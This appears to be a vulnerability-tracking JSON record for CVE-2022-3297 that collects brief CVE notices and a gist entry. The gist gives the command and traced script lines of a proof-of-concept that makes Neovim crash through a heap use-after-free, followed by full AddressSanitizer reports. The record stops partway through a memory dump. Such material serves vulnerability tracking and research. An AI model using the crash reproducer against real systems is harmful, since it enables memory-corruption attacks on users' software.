{"vulnerability": "cve-2022-3297", "sightings": [{"uuid": "5ad672ad-8eef-47fa-8f91-d197d9ea1564", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32972", "type": "seen", "source": "https://t.me/cibsecurity/58429", "content": "\u203c CVE-2022-32972 \u203c\n\nInfoblox BloxOne Endpoint for Windows through 2.2.7 allows DLL injection that can result in local privilege escalation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-17T16:13:05.000000Z"}, {"uuid": "64f904e2-f6ce-40bc-9210-a6a60a10e2a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32971", "type": "seen", "source": "https://t.me/cibsecurity/58393", "content": "\u203c CVE-2022-32971 \u203c\n\nImproper authentication in the Intel(R) SUR software before version 2.4.8902 may allow a privileged user to potentially enable escalation of privilege via network access.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-17T00:12:41.000000Z"}, {"uuid": "699f7b56-c631-45fe-9a0b-54590be4c70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3297", "type": "seen", "source": "https://t.me/cibsecurity/50456", "content": "\u203c CVE-2022-3297 \u203c\n\nUse After Free in GitHub repository vim/vim prior to 9.0.0579.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-09-25T22:21:20.000000Z"}, {"uuid": "49aa6772-a2a7-47c8-97e8-9ce469a381cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32974", "type": "seen", "source": "https://t.me/cibsecurity/44904", "content": "\u203c CVE-2022-32974 \u203c\n\nAn authenticated attacker could read arbitrary files from the underlying operating system of the scanner using a custom crafted compliance audit file without providing any valid SSH credentials.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-21T18:27:49.000000Z"}, {"uuid": "2a86c5b2-09e8-488b-a93f-d27e47077bf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32973", "type": "seen", "source": "https://t.me/cibsecurity/44896", "content": "\u203c CVE-2022-32973 \u203c\n\nAn authenticated attacker could create an audit file that bypasses PowerShell cmdlet checks and executes commands with administrator privileges.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-21T18:27:41.000000Z"}, {"uuid": "01217ae2-587b-4ffa-943d-137fc35ccef5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-32978", "type": "seen", "source": "https://t.me/cibsecurity/44202", "content": "\u203c CVE-2022-32978 \u203c\n\nThere is an assertion failure in SingleComponentLSScan::ParseMCU in singlecomponentlsscan.cpp in libjpeg before 1.64 via an empty JPEG-LS scan.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2022-06-10T18:43:39.000000Z"}, {"uuid": "b34dd159-393a-4467-87a4-656ac41b6ff2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-3297", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/63245de784b0b283ccf6b22cf7fa071c", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: sil0norm0i^P\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297/CVE-2022-3297:\nline    5:\nE987: invalid return value from tagfunc=================================================================\n==63159==ERROR: AddressSanitizer: heap-use-after-free on address 0x6020000014f9 at pc 0x000000812511 bp 0x7ffd53859e60 sp 0x7ffd53859e58\nREAD of size 1 at 0x6020000014f9 thread T0\n    #0 0x812510 in process_next_cpt_value /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2838:10\n    #1 0x812177 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3324:20\n    #2 0x811a93 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3539:22\n    #3 0x80f114 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3634:7\n    #4 0x80f450 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4342:7\n    #5 0x673625 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1198:7\n    #6 0x674697 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #7 0x669473 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:676:10\n    #8 0xa6e4c5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:99:26\n    #9 0x66b3e7 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:336:5\n    #10 0x668c38 in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1275:3\n    #11 0x9035d0 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6288:7\n    #12 0x8f8e37 in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6265:5\n    #13 0x8f241e in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1210:3\n    #14 0x8f1478 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:6658:9\n    #15 0x75e5f3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6497:5\n    #16 0x75e489 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6480:3\n    #17 0x763467 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6412:7\n    #18 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #20 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #21 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #22 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #23 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #24 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #26 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #27 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #28 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #29 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #30 0x7fa05957c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\n0x6020000014f9 is located 9 bytes inside of 10-byte region [0x6020000014f0,0x6020000014fa)\nfreed by thread T0 here:\n    #0 0x4e042d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e042d)\n    #1 0x8a07c9 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:134:3\n    #2 0x95195c in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:288:5\n    #3 0x5e23fb in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2003:3\n    #4 0x94474c in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:4353:9\n    #5 0x5de576 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1856:5\n    #6 0x734ddf in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2269:13\n    #7 0x5dfca1 in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1148:12\n    #8 0x5dd1e3 in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1327:14\n    #9 0x5df086 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1034:11\n    #10 0x75f87d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4277:17\n    #11 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #13 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #14 0x707369 in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1122:5\n    #15 0x709e8b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1259:5\n    #16 0x7059eb in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1613:17\n    #17 0x692e21 in callback_call /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:5592:10\n    #18 0xaa7449 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1268:12\n    #19 0xaa4104 in findtags_apply_tfu /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1531:16\n    #20 0xa9ef0e in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:2390:12\n    #21 0x813250 in get_next_tag_completion /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2973:7\n    #22 0x812b88 in get_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3245:5\n    #23 0x8121cf in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3340:23\n    #24 0x811a93 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3539:22\n    #25 0x80f114 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3634:7\n    #26 0x80f450 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4342:7\n    #27 0x673625 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1198:7\n    #28 0x674697 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #29 0x669473 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:676:10\n\npreviously allocated by thread T0 here:\n    #0 0x4e06ad in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x4e06ad)\n    #1 0x8a067a in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:88:15\n    #2 0x8a07a8 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:15\n    #3 0x8a08a7 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:194:15\n    #4 0x8a0917 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:212:17\n    #5 0x8a0d78 in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:431:10\n    #6 0x951a2d in set_string_option_direct /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:353:7\n    #7 0x9370c9 in set_option_default /home/zzw/Desktop/neovim/build/../src/nvim/option.c:431:9\n    #8 0x936305 in set_options_default /home/zzw/Desktop/neovim/build/../src/nvim/option.c:488:7\n    #9 0x9357f9 in set_init_1 /home/zzw/Desktop/neovim/build/../src/nvim/option.c:373:3\n    #10 0x50ff91 in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:221:3\n    #11 0x510462 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:285:3\n    #12 0x7fa05957c082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2838:10 in process_next_cpt_value\nShadow bytes around the buggy address:\n  0x0c047fff8240: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8250: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8260: fa fa fd fa fa fa fd fa fa fa 05 fa fa fa 01 fa\n  0x0c047fff8270: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff8280: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa 01 fa\n=>0x0c047fff8290: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd[fd]\n  0x0c047fff82a0: fa fa 00 02 fa fa 01 fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82b0: fa fa 01 fa fa fa 05 fa fa fa 05 fa fa fa fd fd\n  0x0c047fff82c0: fa fa 00 07 fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82d0: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff82e0: fa fa 05 fa fa fa fd fa fa fa 01 fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==63159==ABORTING\n\n\n\nCommand:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: fu s:Tag0unc0(t,f,o)\n\nline 4: se tagfunc=s:Tag0unc0\n\nline 5: sil0norm0i^P\nError detected while processing command line..script /home/zzw/Desktop/DATA/Exec_PoC/CVE-2022-3297/CVE-2022-3297:\nline    5:\nE987: invalid return value from tagfunc=================================================================\n==63413==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000001479 at pc 0x0000007f79f1 bp 0x7ffeedc6e280 sp 0x7ffeedc6e278\nREAD of size 1 at 0x602000001479 thread T0\n    #0 0x7f79f0 in process_next_cpt_value /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2721:10\n    #1 0x7f7657 in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3205:20\n    #2 0x7f6f73 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3420:22\n    #3 0x7f45c4 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3515:7\n    #4 0x7f4910 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4236:7\n    #5 0x653c85 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1187:7\n    #6 0x654cde in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #7 0x6495d5 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:668:10\n    #8 0xa59808 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:88:26\n    #9 0x64b487 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:331:5\n    #10 0x648d5f in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1263:3\n    #11 0x8ec580 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7061:7\n    #12 0x8e1e6a in nv_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7038:5\n    #13 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #14 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #15 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #16 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #17 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #18 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #19 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #20 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #21 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #22 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #23 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #24 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #25 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #26 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #27 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #28 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #29 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #30 0x7f71f99e3082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #31 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000001479 is located 9 bytes inside of 10-byte region [0x602000001470,0x60200000147a)\nfreed by thread T0 here:\n    #0 0x4df44d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df44d)\n    #1 0x88a2f8 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:130:3\n    #2 0x93af5c in clear_string_option /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:269:5\n    #3 0x5cef4f in free_buf_options /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1964:3\n    #4 0x931b4c in buf_copy_options /home/zzw/Desktop/neovim/build/../src/nvim/option.c:4302:9\n    #5 0x5caef6 in buflist_new /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1818:5\n    #6 0x711cb2 in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2412:13\n    #7 0x5cc631 in empty_curbuf /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1115:12\n    #8 0x5c95dd in do_buffer /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1289:14\n    #9 0x5cb9c6 in do_bufdel /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:1001:11\n    #10 0x73c45d in ex_bunload /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:4252:17\n    #11 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #12 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #13 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #14 0x6e864a in call_user_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1085:5\n    #15 0x6eb35b in call_user_func_check /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1222:5\n    #16 0x6e6c7b in call_func /home/zzw/Desktop/neovim/build/../src/nvim/eval/userfunc.c:1562:17\n    #17 0x668b06 in call_vim_function /home/zzw/Desktop/neovim/build/../src/nvim/eval.c:1100:9\n    #18 0xa8f7d1 in find_tagfunc_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1155:12\n    #19 0xa88284 in find_tags /home/zzw/Desktop/neovim/build/../src/nvim/tag.c:1494:14\n    #20 0x7f86f0 in get_next_tag_completion /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2854:7\n    #21 0x7f8028 in get_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3126:5\n    #22 0x7f76af in ins_compl_get_exp /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3221:23\n    #23 0x7f6f73 in find_next_completion_match /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3420:22\n    #24 0x7f45c4 in ins_compl_next /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:3515:7\n    #25 0x7f4910 in ins_complete /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:4236:7\n    #26 0x653c85 in insert_do_complete /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1187:7\n    #27 0x654cde in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c\n    #28 0x6495d5 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:668:10\n    #29 0xa59808 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:88:26\n\npreviously allocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x88a467 in xmallocz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:195:15\n    #4 0x88a4f7 in xmemdupz /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:213:17\n    #5 0x88a958 in xstrdup /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:432:10\n    #6 0x93b02d in set_string_option_direct /home/zzw/Desktop/neovim/build/../src/nvim/optionstr.c:335:7\n    #7 0x9204b9 in set_option_default /home/zzw/Desktop/neovim/build/../src/nvim/option.c:421:9\n    #8 0x91f635 in set_options_default /home/zzw/Desktop/neovim/build/../src/nvim/option.c:479:7\n    #9 0x91edc7 in set_init_1 /home/zzw/Desktop/neovim/build/../src/nvim/option.c:329:3\n    #10 0x820ae6 in early_init /home/zzw/Desktop/neovim/build/../src/nvim/main.c:201:3\n    #11 0x82100f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:257:3\n    #12 0x7f71f99e3082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/insexpand.c:2721:10 in process_next_cpt_value\nShadow bytes around the buggy address:\n  0x0c047fff8230: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8240: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8250: fa fa fd fa fa fa fd fa fa fa 05 fa fa fa 01 fa\n  0x0c047fff8260: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa fd fa\n  0x0c047fff8270: fa fa 01 fa fa fa fd fa fa fa 01 fa fa fa 01 fa\n=>0x0c047fff8280: fa fa 01 fa fa fa fd fa fa fa 07 fa fa fa fd[fd]\n  0x0c047fff8290: fa fa 00 02 fa fa 01 fa fa fa 01 fa fa fa fd 